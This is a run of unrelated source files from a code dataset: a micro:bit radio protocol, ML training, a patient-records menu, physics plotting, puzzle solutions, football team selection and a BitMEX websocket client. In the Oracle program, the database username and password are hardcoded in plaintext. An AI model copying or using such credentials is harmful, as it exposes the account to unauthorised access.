Seconds\n\nReceived_DataFrame_NO = 0\nSTATE = \"Receive_Message\"\nPREV_STATE = \"Receive_Message\"\nisPrinted = 0\npower = \"ON\"\nsampling_rate = 6\ncount = 0\n\ndef Encode_Data(Message):\n\n Encoded_Message = \"\"\n for Letter in Message:\n Letter_Num = ord(Letter)\n Encoded_Letter_Num = Letter_Num + 29\n Encoded_Message += chr(Encoded_Letter_Num)\n return Encoded_Message\n\ndef Decoded_Data(Encoded_Message):\n\n Decoded_Message = \"\"\n for Letter in Encoded_Message:\n Letter_Num = ord(Letter)\n Decoded_Letter_Num = Letter_Num - 29\n Decoded_Message += chr(Decoded_Letter_Num)\n return Decoded_Message\n\nwhile True:\n if STATE == \"Receive_Message\":\n\n if isPrinted == 0:\n print(\"\\nSTATE: Receive_Message\")\n display.clear()\n\n msg_receive = radio.receive()\n if msg_receive is not None:\n\n print(\"Received a Data Frame:\", msg_receive)\n isPrinted = 0\n PREV_STATE = \"Receive_Message\"\n STATE = \"Process_Received_Data_Frame\"\n\n elif (count >= 6000/(sampling_rate+2)) and (power == \"ON\"):\n count = 0\n DataFrame_NO = 0\n isPrinted = 0\n STATE = \"Send_Message\"\n\n else:\n isPrinted = 1\n\n elif STATE == \"Process_Received_Data_Frame\":\n\n print(\"\\nSTATE: Process_Received_Data_Frame\")\n\n msg_decoded = Decoded_Data(msg_receive)\n if msg_decoded[0:2] == \"GW\":\n\n if msg_decoded[3:] == \"#\":\n Received_DataFrame_NO = 1\n GW_Message = \"#\" + msg_decoded[0:2] + \":\"\n\n elif (msg_decoded[3:] == \"$\") and (int(msg_decoded[2]) == Received_DataFrame_NO):\n GW_Message += \"$\"\n print(\"GATEWAY MESSAGE:\", GW_Message)\n if GW_Message[0:6] == \"#GW:N1\":\n print(\"Node:\", GW_Message[4:6])\n if GW_Message[7].isdigit():\n sampling_rate = int(GW_Message[7:-1])\n print(\"Sampling Rate:\", sampling_rate)\n elif GW_Message[7].isalpha():\n power = GW_Message[7:-1]\n print(\"Power:\", power)\n else:\n print(\"Ignore Gateway Message\")\n else:\n print(\"Ignore Gateway Message\")\n # if GW_Message == \"#GW:N1,OFF$\":\n # power = \"OFF\"\n # elif GW_Message == \"#GW:N1,ON$\":\n # power = \"ON\"\n # print(\"POWER:\", power)\n Received_DataFrame_NO += 1\n\n elif int(msg_decoded[2]) == Received_DataFrame_NO:\n GW_Message += msg_decoded[3:]\n Received_DataFrame_NO += 1\n\n else:\n print(\"Message Duplicated\")\n\n STATE = \"Send_Acknowledgement\"\n\n else:\n print(\"Unknown Data Frame\")\n STATE = \"Receive_Message\"\n\n elif STATE == \"Send_Acknowledgement\":\n\n display.show(Image.HAPPY)\n print(\"\\nSTATE: Send_Acknowledgement\")\n msg_ack = \"A\" + msg_decoded\n msg_encoded = Encode_Data(msg_ack)\n msg_str = str(msg_encoded, 'UTF-8')\n radio.send(msg_str)\n print(\"Acknowledgement:\", msg_str)\n if PREV_STATE == \"Receive_Acknowledgement\":\n print(\"Continue to Receive Acknowledgement ...\")\n STATE = \"Receive_Acknowledgement\"\n else:\n print(\"Receiving Next Data Frame ...\")\n STATE = \"Receive_Message\"\n\n elif STATE == \"Send_Message\":\n\n print(\"\\nSTATE: Send_Message\")\n display.clear()\n if DataFrame_NO == 0:\n msg = \"N10#\"\n elif DataFrame_NO == 1:\n Temperature = str(temperature())\n msg = \"N11\" + Temperature\n elif DataFrame_NO == 2:\n msg = \"N12,\"\n elif DataFrame_NO == 3:\n LightLevel = str(display.read_light_level())\n msg = \"N13\" + LightLevel\n elif DataFrame_NO == 4:\n msg = \"N14$\"\n else:\n print(\"DATA: Data Frame Number Error\")\n msg_encoded = Encode_Data(msg)\n msg_str = str(msg_encoded, 'UTF-8')\n radio.send(msg_str)\n print(\"DATA: Send Data Frame NO\", DataFrame_NO)\n STATE = \"Receive_Acknowledgement\"\n\n elif STATE == \"Receive_Acknowledgement\":\n\n if isPrinted == 0:\n print(\"\\nSTATE: Receive_Acknowledgement\")\n\n if (Waiting_Time % 100 == 0) and (Waiting_Time != 0):\n display.show(Image.NO)\n print(\"Time Out:\", 3 - Waiting_Time // 100)\n\n msg_receive = radio.receive()\n if msg_receive is not None:\n\n msg_decoded = Decoded_Data(msg_receive)\n if msg_decoded[0:2] == \"GW\":\n\n print(\"Received a Data Frame:\", msg_decoded)\n PREV_STATE = \"Receive_Acknowledgement\"\n Waiting_Time += 1\n STATE = \"Process_Received_Data_Frame\"\n\n elif msg_decoded == \"A\" + msg:\n\n display.clear()\n display.show(Image.YES)\n Waiting_Time = 0\n if DataFrame_NO < 4:\n\n DataFrame_NO += 1\n print(\"Acknowledgement: Acknowledgement Received\")\n isPrinted = 0\n STATE = \"Send_Message\"\n\n elif DataFrame_NO == 4:\n\n DataFrame_NO = 0\n print(\"Acknowledgement: Acknowledgement for Final Data Frame Received\")\n isPrinted = 0\n STATE = \"Receive_Message\"\n\n else:\n print(\"DATA: Data Frame Number Error\")\n\n else:\n\n display.show(Image.ANGRY)\n print(\"Acknowledgement: Acknowledgement Received but NOT Correct\")\n print(\"Acknowledgement:\", msg_decoded)\n\n elif Waiting_Time >= Time_Out: # Time_out = 300 | Time Out 3 Seconds\n\n Waiting_Time = 0\n print(\"Acknowledgement: Acknowledgement Receiving Time Out\")\n isPrinted = 0\n STATE = \"Send_Message\"\n\n else:\n Waiting_Time += 1\n isPrinted = 1\n\n count += 1\n sleep(10)\n","sub_path":"Microbit/StateMachineN1.py","file_name":"StateMachineN1.py","file_ext":"py","file_size_in_byte":6448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"233124153","text":"import os\nimport numpy as np\nimport argparse\nimport pandas as pd\nfrom sklearn.metrics import accuracy_score\nfrom train_helper import validate_data, split_data, train_model\nfrom sklearn.metrics import log_loss, balanced_accuracy_score\nfrom azureml.core import Run\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\n '--data_path',\n type=str,\n default=\"./data/\",\n help='Path to the training data'\n )\n parser.add_argument(\n '--file_name',\n type=str,\n default=\"dataset.csv\",\n help='Filename'\n )\n args = parser.parse_args()\n print(\"===== DATA =====\")\n print(\"DATA PATH: \" + args.data_path)\n print(\"FILE NAME: \" + args.file_name)\n print(\"LIST FILES IN DATA PATH...\")\n print(os.listdir(args.data_path))\n print(\"================\")\n\n data = pd.read_csv(args.data_path + args.file_name)\n datos = validate_data(data)\n X_train, y_train, X_test, y_test = split_data(datos)\n model = train_model(X_train, y_train, save=True)\n y_pred = model.predict(X_test)\n y_prob = model.predict_proba(X_test)\n print(f\"balanced_accuracy: {balanced_accuracy_score(y_test, y_pred)}\")\n print(f\"log_loss: {log_loss(y_test, y_prob)}\")","sub_path":"src/local-train.py","file_name":"local-train.py","file_ext":"py","file_size_in_byte":1251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"72454014","text":"import cx_Oracle\nfrom prescription import *\nfrom new_patient import *\nfrom MedicalTest import *\nfrom SearchEngine import *\n\n#global variables \nconString = ''\nconnection =''\ncursor=''\n\ndef main():\n\n\tglobal conString\n\tglobal connection\n\tglobal cursor\n\t#prompt for user and pw\n\t#user = input(\"Username: \")\n\t#pw = input(\"Password: \")\n\tuser = 'dtruong1'\n\tpw = 'hunter23'\n\t#create connection\n\tconString= user+'/' + pw +'@gwynne.cs.ualberta.ca:1521/CRS'\n\tconnection = cx_Oracle.connect(conString)\n\tcursor = connection.cursor()\n\n\t#prompt for program\n\tvalid = False\n\twhile (valid == False):\n\t\tchoice = input(\"Would you like to (s)earch for a patient, create a (p)rescription, enter (m)edical test results, (u)pdate/(c)reate a patient, or (q)uit?: \")\n\t\tif (choice == 's' or choice == 'S'):\n\t\t\tSearch(cursor)\n\t\t\tvalid = True\n\t\t\tconnection.commit()\n\t\telif (choice == 'p' or choice == 'P'):\n\t\t\tprescripInfo(cursor)\n\t\t\tvalid = True\n\t\t\tconnection.commit()\n\t\telif (choice == 'm' or choice == 'M'):\n\t\t\tmedicalTest(cursor) # verify with austin what his main fun is\n\t\t\tvalid = True\n\t\t\tconnection.commit()\n\t\telif (choice == 'u' or choice == 'U' or choice == 'c' or choice == 'C'):\n\t\t\tchoices(cursor,choice)\n\t\t\tconnection.commit()\n\t\telif (choice == 'q' or choice == 'Q'):\n\t\t\tbreak\n\t\telse:\n\t\t\tprint(\"Invalid option\")\n\t\n\t\t \n\tconnection.commit()\n\tcursor.close()\n\tconnection.close()\nmain()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"12379684","text":"import matplotlib.pyplot as plt\nimport numpy as np\nfrom scipy.optimize import curve_fit\n\nenergia={} #energia\n\n\narchivo=[\"E-T-32-0.00.txt\"] #\"Temperatura -Energia prom \"\n \n\n#extraigo del archivo E-T\nfor i in range(0,1):\n f=open(archivo[i],'r')\n lines=f.readlines()[1:]\n \n t=[]\n eprom=[]\n deprom=[]\n \n for line in lines: \n p = line.split()\n t.append(float(p[0]))\n eprom.append(float(p[1]))\n deprom.append(float(p[2]))\n tv=np.array(t)\n ev=np.array(eprom)\n dev=np.array(deprom)\n energia[i]=[tv,ev,dev] \n f.close()\n\n#Energia teorica\nH=1; #campo \ntemp=np.linspace(0.1, 5.0, 50)\neteorica=[]\n\nfor i in range(0,len(temp)):\n #eteorica.append((1/magnet[0][0][i])*np.tanh(1/magnet[0][0][i]))\n eteorica.append(-H*np.tanh(H/temp[i])) #recordar que e es\n #-H*tanh(H*beta)\n \n#Grafico eteorica\nplt.plot(temp,eteorica,'b',label=\"solucion exacta\")\n \n\n#Grafico EvsT\nplt.errorbar(energia[0][0], energia[0][1], energia[0][2], fmt='o',color='b',label=\"solucion numerica\")\nplt.xlabel(r'$Temperatura$',fontsize=20)\nplt.ylabel(r'$Energia$'+' '+r'$$',fontsize=20)\nplt.text(2.5,-0.6, r'$=B$'+' '+r'$tanh(\\frac{B}{kT})$', fontsize=20, bbox=dict(facecolor='b', alpha=0.3))\nplt.legend(loc='upper left',numpoints=1)\nplt.show()\n\n","sub_path":"bin/a) sin acople/EvsT.py","file_name":"EvsT.py","file_ext":"py","file_size_in_byte":1277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"486584199","text":"class Link:\n def __init__(self, val, next=None):\n self.val = val\n self.next = next\n\n def __str__(self):\n if not self.next:\n return f\"Link({self.val})\"\n return f\"Link({self.val}, {self.next})\"\n\n\ndef merge_k_linked_lists(linked_lists):\n '''\n Merge k sorted linked lists into one\n sorted linked list.\n >>> print(merge_k_linked_lists([\n ... Link(1, Link(2)),\n ... Link(3, Link(4))\n ... ]))\n Link(1, Link(2, Link(3, Link(4))))\n >>> print(merge_k_linked_lists([\n ... Link(1, Link(2)),\n ... Link(2, Link(4)),\n ... Link(3, Link(3)),\n ... ]))\n Link(1, Link(2, Link(2, Link(3, Link(3, Link(4))))))\n '''\n # brute force solution\n # put all the values of all the linked list into a list\n # sort the list and create a final list from those values\n # k - length of linked_lists\n # n - max length of any linked list\n # k*n - upper bound of the number of values in all linked lists\n values = []\n # O(k*n)\n for link in linked_lists: # O(k)\n # O(n)\n while link:\n values.append(link.val)\n link = link.next\n\n # O(k*n*log(k*n))\n sorted_vals = sorted(values)\n\n result = Link(0)\n pointer = result\n # O(k*n)\n for val in sorted_vals:\n pointer.next = Link(val)\n pointer = pointer.next\n\n # Final runtime: O(k*n*log(k*n))\n return result.next\n","sub_path":"Interview-Preparation/Section 4 Part 3 - Hard Interview Question - Brute Force.py","file_name":"Section 4 Part 3 - Hard Interview Question - Brute Force.py","file_ext":"py","file_size_in_byte":1425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"65979797","text":"# coding=utf-8\n\n\"\"\"\n1. 考虑守门员,+ 前锋/中场组合 + 后卫组合 = 最终形成足球团队\n2. 考虑constraint, 对足球团队进行剪枝\n\"\"\"\n\n\nfrom PES2018 import Players_Graph, Players_Attr\nimport openpyxl\nimport math\nimport sys\n\n\n# 定义守门员类\nclass Goalkeeper:\n\n def __init__(self, g_id):\n self.id = g_id\n self.ability = []\n self.rating = 0\n self.salary = 0\n\n def get_id(self):\n return self.id\n\n def get_ability(self):\n return self.ability\n\n def get_rating(self):\n return self.rating\n\n def get_salary(self):\n return self.salary\n\n\n# 定义被剪枝球员类\nclass CutPlayer:\n\n def __init__(self, key):\n self.id = key # 球员ID\n self.cut_pos = \"\" # 球员所属的网络\n self.cut_position = \"\" # 球员的位置\n self.cut_salary = 0 # 球员的工资\n\n def get_id(self):\n return self.id\n\n def get_cut_pos(self):\n return self.cut_pos\n\n def get_cut_position(self):\n return self.cut_position\n\n def get_cut_salary(self):\n return self.cut_salary\n\n\n# 选择守门员\ndef select_goalkeeper(path, file_name):\n # open source\n wb = openpyxl.load_workbook(path+file_name)\n ws = wb[\"GoalKeeper\"]\n\n goal_keepers = read_goalkeeper(ws)\n\n # find the best goalkeeper\n opt_gk = ''\n score_max = 0\n for gk in goal_keepers:\n # 计算守门员的平均分\n gk_score = sum(gk.ability) / len(gk.ability)\n if score_max < gk_score:\n score_max = gk_score\n opt_gk = gk\n\n print(\"无约束条件下选择出的最佳守门员是:\", opt_gk.id)\n\n return opt_gk, goal_keepers\n\n\n# 读取Goalkeeper文件\ndef read_goalkeeper(ws):\n\n goal_keepers = []\n\n for row in range(2, ws.max_row+1): # 第二行起表示球员信息\n gk_id = ws.cell(row=row, column=1).value\n gk = Goalkeeper(gk_id)\n # 守门员的能力值\n gk.rating = ws.cell(row=row, column=10).value\n # 计算守门员的salary\n gk.salary = 0.0006375 * math.exp(0.1029*gk.rating)\n # 读取守门员的技能数据\n for column in range(29, ws.max_column+1):\n gk.ability.append(ws.cell(row=row, column=column).value)\n\n goal_keepers.append(gk)\n\n return goal_keepers\n\n\n# 选择后卫或者前锋/中场组合\ndef select_back_forward(path, file_name, criteria, alpha, beta):\n\n # 获取到所属网络的名字\n network_name = file_name.split(\".\")[0]\n # 返回球员的相似性矩阵和球员各项能力的平均值\n sim_matrix, abi_avg, player_num_id = \\\n Players_Graph.base_info_collect(path, file_name)\n # 构建球员网络\n pg = Players_Graph.players_graph_construction(sim_matrix, abi_avg)\n # 返回选择出的最佳球员组合\n opt_players = Players_Graph.player_opt_subgraph(player_num_id, pg, path,\n criteria, alpha, beta,\n network_name)\n\n # 返回最佳球员组合,球员网络结构以及球员-ID对照表\n return opt_players, pg, player_num_id\n\n\n# 1. 让网络无条件生成,达到“最优的”队伍;\n# 2. 计算队伍的COST,如果不满足budget,则进行剪枝\ndef team_cut(path, criteria_back, criteria_forward, budget, alpha, beta):\n\n print(\"招募球员的Budget为:%.3f\" % budget)\n\n # 获取到能力名字和能力ID的映射表\n ability_name_id = Players_Attr.ability_name_id\n\n # 读取技能值及其相应的权重\n # 后卫Criteria\n cri_back = read_criteria(path, criteria_back)\n cri_back_nor = Players_Graph.normalize(cri_back) # 归一化\n # 前锋/中场Criteria\n cri_for = read_criteria(path, criteria_forward)\n cri_for_nor = Players_Graph.normalize(cri_for) # 归一化\n\n team = {} # 初始化足球队队员\n\n \"\"\"\n +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n + +\n + 1. 让网络无条件自由生成,达到\"最优\"结构 \n + +\n +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n \"\"\"\n\n # 选择守门员\n team[\"GK\"] = list()\n gk, gks = select_goalkeeper(PATH_REMOTE, FILE_GOALKEEPER)\n team[\"GK\"].append(gk.get_id())\n\n # 选择后卫\n team[\"Back\"] = list()\n back, pg_back, player_num_id_back = \\\n select_back_forward(PATH_REMOTE, FILE_BACK, CRITERIA_BACK, AlPHA, BETA)\n team[\"Back\"] = back\n\n # 选择前锋/中场\n team[\"Forward\"] = list()\n forward, pg_forward, player_num_id_forward = \\\n select_back_forward(PATH_REMOTE, FILE_FORWARD, CRITERIA_FORWARD, AlPHA, BETA)\n team[\"Forward\"] = forward\n\n # 1. 计算team的总工资\n # 2. 计算团队的 average team ability\n # 3. 计算团队的同质性/异质性\n team_cost, team_ability, homo_back, homo_forward, opt_player_cf \\\n = cal_cost_abi_homo(team, gks, pg_back, pg_forward, cri_back_nor, cri_for_nor, ability_name_id)\n\n \"\"\"\n +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n + +\n + 2. 比较team cost和给定的budget之间的差距,如果不满足则进行\"剪枝\"操作 +\n + +\n +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n \"\"\"\n team_real = {\"GK\": [], \"Back\": [], \"Forward\": []}\n\n while True:\n\n if team_cost < budget:\n # 输出足球队员真实的信息\n team_real[\"GK\"].append(team[\"GK\"][0]) # 守门员ID\n # 后卫网络ID\n for i in team[\"Back\"]:\n team_real[\"Back\"].append(player_num_id_back[i])\n # 前锋/中场ID\n for j in team[\"Forward\"]:\n team_real[\"Forward\"].append(player_num_id_forward[j])\n print(\"\\n\",\n \"\\t\", \"选择出的最终足球团队为:\", team_real, \"\\n\",\n \"\\t\", \"总工资为:\", round(team_cost, 3), \"\\n\",\n \"\\t\", \"能力平均值为:\", round(team_ability, 3), \"\\n\",\n \"\\t\", \"球员的性价比为:\", opt_player_cf, \"\\n\",\n \"\\t\", \"后卫网络的同质性为:%.4f\" % homo_back, \"\\n\",\n \"\\t\", \"前锋网络的异质性为: %.4f\" % homo_forward,\n \"\\n\")\n\n break\n else:\n # 剪枝操作\n # 在剪枝时锁定alpha和beta值\n team_update = cut_base_cf(opt_player_cf, team, pg_back, pg_forward, gks,\n cri_back_nor, cri_for_nor, ability_name_id,\n alpha=0.7, beta=0.15)\n # 计算team_update的cost, average ability and homogeneity\n team_up_cost, team_up_ability, homo_up_back, homo_up_forward, opt_player_cf_up\\\n = cal_cost_abi_homo(team, gks, pg_back, pg_forward, cri_back_nor, cri_for_nor, ability_name_id)\n\n # 更新足球队信息\n team = team_update\n team_cost = team_up_cost\n team_ability = team_up_ability\n homo_back = homo_up_back\n homo_forward = homo_up_forward\n opt_player_cf = opt_player_cf_up\n\n return team_real\n\n\ndef cal_cost_abi_homo(team, gks, pg_back, pg_forward, cri_back, cri_for, abi_name_id):\n\n # 初始化足球队的总工资\n team_cost = 0\n # 初始化足球队的 team ability\n team_ability = 0\n # 初始化同质性/异质性\n homo_back = 0\n homo_forward = 0\n # 足球队员的性价比 cost performance = ability / salary\n opt_player_cf = {}\n\n for pos in team.keys():\n if pos == \"GK\":\n # 取出守门员\n gk = [gk for gk in gks if gk.id == team[pos][0]][0]\n cost = gk.get_salary()\n team_cost += cost\n abi = sum(gk.ability)/len(gk.ability)\n team_ability += abi\n # 计算性价比\n opt_player_cf[gk.id] = round(abi/cost, 3)\n\n elif pos == \"Back\":\n homo_back = cal_homo(team[pos], pg_back)\n for i in team[pos]:\n cost = pg_back.vertexList[i].salary\n team_cost += cost\n abi = \\\n Players_Graph.cal_player_ability(pg_back.vertexList[i].abilities,\n cri_back,\n abi_name_id)\n team_ability += abi\n opt_player_cf[i] = round(abi/cost, 3)\n\n elif pos == \"Forward\":\n homo_forward = cal_homo(team[pos], pg_forward)\n for j in team[pos]:\n cost = pg_forward.vertexList[j].salary\n team_cost += cost\n abi = \\\n Players_Graph.cal_player_ability(pg_forward.vertexList[j].abilities,\n cri_for,\n abi_name_id)\n team_ability += abi\n opt_player_cf[j] = round(abi/cost, 3)\n\n team_ability = team_ability / 11\n\n return team_cost, team_ability, homo_back, homo_forward, opt_player_cf\n\n\n# 根据球员的性价比排序进行剪枝操作\ndef cut_base_cf(player_cf, team, pg_back, pg_forward,\n gks, cri_back, cri_for, abi_name_id, alpha, beta):\n\n # ******** 找到性价比最低的球员 ********\n cut_player = CutPlayer(None)\n cf_min = sys.maxsize\n for p, cf in player_cf.items():\n if cf < cf_min:\n cf_min = cf\n cut_player.id = p\n\n# cut_pos = \"\" # 记录被删除球员所属的网络\n# cut_position = \"\" # 记录被删除球员的位置\n# cut_salary = 0 # 记录被删除球员的salary\n\n # ******** 移除性价比最低球员 ********\n for pos, players in team.items():\n if cut_player.id in players:\n players.remove(cut_player.id)\n cut_player.cut_pos = pos\n break\n\n # ******** 加入候选人 ********\n candidate = \"\" # 初始化候选人\n# position = \"\" # 初始化候选人的位置\n\n if cut_player.get_cut_pos() == \"Back\":\n\n # 被剪掉的是后卫\n\n cut_player.cut_salary = pg_back.vertexList[cut_player.get_id()].salary\n cut_player.cut_position = pg_back.vertexList[cut_player.get_id()].position\n\n # 在后卫网络的邻居中去寻找到合适的候选人\n candidate = select_candidate(team[cut_player.get_cut_pos()], pg_back, cut_player,\n cri_back, abi_name_id, alpha, beta)\n\n# position = pg_back.vertexList[candidate].position\n\n # 加入到团队中\n team[cut_player.get_cut_pos()].append(candidate)\n\n elif cut_player.get_cut_pos() == \"Forward\":\n\n # 被剪掉的是前锋/中场\n\n cut_player.cut_salary = pg_forward.vertexList[cut_player.get_id()].salary\n cut_player.cut_position = pg_forward.vertexList[cut_player.get_id()].position\n\n # 在前锋/中场网络的邻居中去寻找到合适的候选人\n candidate = select_candidate(team[cut_player.get_cut_pos()], pg_forward, cut_player,\n cri_for, abi_name_id, alpha, beta)\n\n# position = pg_forward.vertexList[candidate].position\n\n # 加入到团队中\n team[cut_player.get_cut_pos()].append(candidate)\n\n else:\n\n # 被剪掉的是守门员\n\n opt_abi = 0 # 初始化能力值\n\n for gk in gks:\n if gk.id == cut_player.get_id():\n cut_player.cut_salary = gk.get_salary()\n continue\n\n abi = sum(gk.ability)/len(gk.ability)\n\n # 直接按照能力值降序选择合适的候选人\n if opt_abi < abi and gk.get_salary() < cut_player.get_cut_salary():\n opt_abi = abi\n candidate = gk.id\n\n# position = \"GK\"\n\n # 加入到团队中\n team[\"GK\"].append(candidate)\n\n return team\n\n\ndef select_candidate(team_sub, pg, cut_player, criteria, abi_name_id, alpha, beta):\n\n # 取出后卫其他球员所连接的邻居\n neighbor = list()\n for player in team_sub:\n for key in pg.vertexList[player].connectedTo.keys():\n # 1. 只选择被cut的位置上的球员\n # 2. 排除被cut的球员以及已经被选中的球员\n if key.id not in neighbor and\\\n key.id not in team_sub and\\\n key.id != cut_player.get_id() and\\\n key.position == cut_player.get_cut_position():\n neighbor.append(key.id)\n\n # 遍历邻居,计算代价\n # function = ability + density + homogeneity\n density = {} # 邻居与team的密度\n team_ability = {} # 邻居与team的team ability\n team_gini = {} # 邻居与team的Gini coefficient\n team_homo = {} # 邻居与team的homogeneity\n for ne in neighbor:\n # 计算邻居的能力值\n ne_abi = Players_Graph.cal_player_ability(\n pg.vertexList[ne].abilities, criteria, abi_name_id)\n # 计算邻居到team所组成的图的连接权重\n weight = 0 # 权重和\n te_abi = ne_abi # 团队能力值\n for op in team_sub:\n if pg.vertexList[op] in pg.vertexList[ne].connectedTo:\n # 邻居与team的权重之和\n weight += pg.vertexList[ne].get_weight(pg.vertexList[op])\n # 计算邻居与team的team ability\n te_abi += Players_Graph.cal_player_ability(\n pg.vertexList[op].abilities, criteria, abi_name_id)\n\n # 计算邻居与team的team Gini coefficient\n gini = Players_Graph.cal_homogeneity(pg.vertexList, ne, team_sub)\n\n d = weight / (len(team_sub) + 1) # 计算密度\n density[ne] = d\n team_ability[ne] = te_abi\n team_gini[ne] = gini\n\n # 将基尼系数转换成同质性\n if cut_player.get_cut_pos() == \"Back\":\n for key, value in team_gini.items():\n team_homo[key] = 1 / value # 取倒数\n elif cut_player.get_cut_pos() == \"Forward\":\n for key, value in team_gini.items():\n team_homo[key] = value # 直接赋值\n\n # 计算出最高team ability + density + homogeneity 的candidate加入到团队中\n score_final = {} # 存储每个球员最终得分-->{ID:score}\n score_max = 0\n candidate = ''\n # min-max 将team ability归一化\n team_ability_nor = Players_Graph.normalize_min_max(team_ability)\n # min-max 将同质性-homogeneity归一化\n team_homo_nor = Players_Graph.normalize_min_max(team_homo)\n\n for player_id, value in team_ability_nor.items():\n # score = abilities + density + homogeneity\n score = alpha * team_ability_nor[player_id] +\\\n beta * density[player_id] +\\\n (1 - alpha - beta) * (team_homo_nor[player_id])\n\n score_final[player_id] = score\n\n # 分数要最大并且工资要比被cut的球员低\n if score_max < score and \\\n pg.vertexList[player_id].salary < cut_player.get_cut_salary():\n score_max = score\n candidate = player_id\n\n return candidate\n\n\n# 读取CRITERIA\ndef read_criteria(path, criteria_file):\n criteria = {}\n with open(path + criteria_file, 'r') as cf:\n while True:\n line = cf.readline()\n if not line:\n break\n name = line.split(\":\")[0]\n value = line.split(\":\")[1][:-1]\n\n criteria[name] = int(value)\n\n return criteria\n\n\n# 计算团队的同质性/异质性\ndef cal_homo(team, pg):\n homo = 0\n diff = {}\n avg_tmp = {}\n avg = {}\n gini_co = {}\n\n # 计算两两球员每个技能的能力差值\n for i in range(0, len(team)):\n for j in range(0, len(team)):\n for abi_id in pg.vertexList[i].abilities.keys():\n d = abs(pg.vertexList[team[i]].abilities[abi_id] -\n pg.vertexList[team[j]].abilities[abi_id])\n if abi_id not in diff:\n diff[abi_id] = d\n else:\n diff[abi_id] += d\n\n # 计算每个技能的平均值\n for player in team:\n for abi_id in pg.vertexList[player].abilities.keys():\n if abi_id not in avg_tmp:\n avg_tmp[abi_id] = pg.vertexList[player].abilities[abi_id]\n else:\n avg_tmp[abi_id] += pg.vertexList[player].abilities[abi_id]\n\n for abi_id, value in avg_tmp.items():\n avg[abi_id] = avg_tmp[abi_id]/len(team)\n\n # 计算每个技能的 Gini coefficient\n for abi_id in diff.keys():\n gini_co[abi_id] = (1 / (2 * pow(len(team), 2) * avg[abi_id])) * diff[abi_id]\n\n # 计算平均的 Gini coefficient\n for value in gini_co.values():\n homo += value\n\n homo = homo / len(gini_co)\n\n return homo\n\n\nif __name__ == \"__main__\":\n\n PATH = \"E:\\\\Team Composition\\\\dataset-PES2018\\\\\"\n PATH_REMOTE = \"./\" # 远程服务器文件地址\n FILE_GOALKEEPER = \"Goalkeeper.xlsx\"\n FILE_BACK = \"Back.xlsx\"\n FILE_FORWARD = \"Forward.xlsx\"\n CRITERIA_BACK = \"Criteria_Back.txt\"\n CRITERIA_FORWARD = \"Criteria_Forward.txt\"\n\n AlPHA = 0.6\n BETA = 0.2\n BUDGET = 58\n\n print(\" ******* Begin ******* \")\n team_cut(PATH_REMOTE, CRITERIA_BACK, CRITERIA_FORWARD, BUDGET, AlPHA, BETA)\n print(\" ####### End.. ******* \")\n","sub_path":"PES2018/Team_Compo_Cut.py","file_name":"Team_Compo_Cut.py","file_ext":"py","file_size_in_byte":17596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"466187874","text":"import sys\r\nimport re\r\n\r\ntimere = re.compile('^\\[(\\d+)-(\\d+)-(\\d+) (\\d+):(\\d+)\\] (wakes|falls|Guard #(\\d+))')\r\n\r\nclass Guard:\r\n def __init__(self):\r\n self.days = {}\r\n self.counter = {}\r\n self.mincounts = [0] * 60\r\n\r\n def wake(self, y, m, d, M):\r\n start = self.counter[(y,m,d)]\r\n self.days.setdefault((y,m,d), 0)\r\n self.days[(y,m,d)] += (M - start)\r\n for i in range(start, M + 1):\r\n self.mincounts[i] += 1\r\n\r\n def sleep(self, y, m, d, M):\r\n self.counter[(y,m,d)] = M\r\n\r\n def total(self):\r\n return sum(self.days.values())\r\n\r\n def most(self):\r\n return max(enumerate(self.mincounts), key=lambda e: e[1])[0]\r\n\r\n def maxcount(self):\r\n return max(self.mincounts)\r\n\r\ntimes = {}\r\n\r\nguard = None\r\nlines = list(sys.stdin)\r\nlines = sorted(lines)\r\nfor line in lines:\r\n match = timere.match(line)\r\n y,m,d,H,M = map(int, match.group(*range(1, 6)))\r\n action, arg = match.group(6, 7)\r\n if arg:\r\n guard = arg\r\n times.setdefault(arg, Guard())\r\n continue\r\n if action == 'wakes':\r\n times[guard].wake(y, m, d, M)\r\n if action == 'falls':\r\n times[guard].sleep(y, m, d, M)\r\n\r\nid, obj = max(times.items(), key=lambda i: i[1].maxcount())\r\nprint(int(id) * obj.most())\r\n\r\n","sub_path":"04/solution_p2.py","file_name":"solution_p2.py","file_ext":"py","file_size_in_byte":1302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"31551795","text":"import time\nimport json\nimport traceback\nimport hmac\nimport hashlib\n\nfrom ..base.websocket import WebsocketBase\n\n\nclass BitmexWebsocket(WebsocketBase):\n ENDPOINT = 'wss://www.bitmex.com/realtime'\n\n def __init__(self, key=None, secret=None):\n super().__init__(self.ENDPOINT)\n self.__key = key\n self.__secret = secret\n self.__request_table = {} # (msg, cb, description)\n self.__ch_cb_map = {}\n\n if self.__key and self.__secret:\n self.add_after_open_callback(\n lambda: self.authenticate(self.__key, self.__secret))\n\n def command(self, op, args=[], cb=None, description=None):\n msg = {\"op\": op, \"args\": args}\n self.send(msg)\n id_ = json.dumps(msg)\n self.__request_table[id_] = (msg, cb, description)\n return id_\n\n def subscribe(self, ch, cb):\n key = ch.split(':')[0]\n if key in self.__ch_cb_map:\n raise Exception(f'channel \"{key}\" is already subscribed')\n\n self.command('subscribe', [ch])\n self.__ch_cb_map[key] = cb\n\n def authenticate(self, key, secret):\n expires = int(time.time() * 1000)\n sign = hmac.new(\n self.__secret.encode(), f'GET/realtime{expires}'.encode(),\n hashlib.sha256).hexdigest()\n self.command(\n 'authKeyExpires', [self.__key, expires, sign],\n lambda msg: self._set_auth_result('success' in msg))\n\n def _on_open(self):\n self.__request_table = {}\n self.__ch_cb_map = {}\n 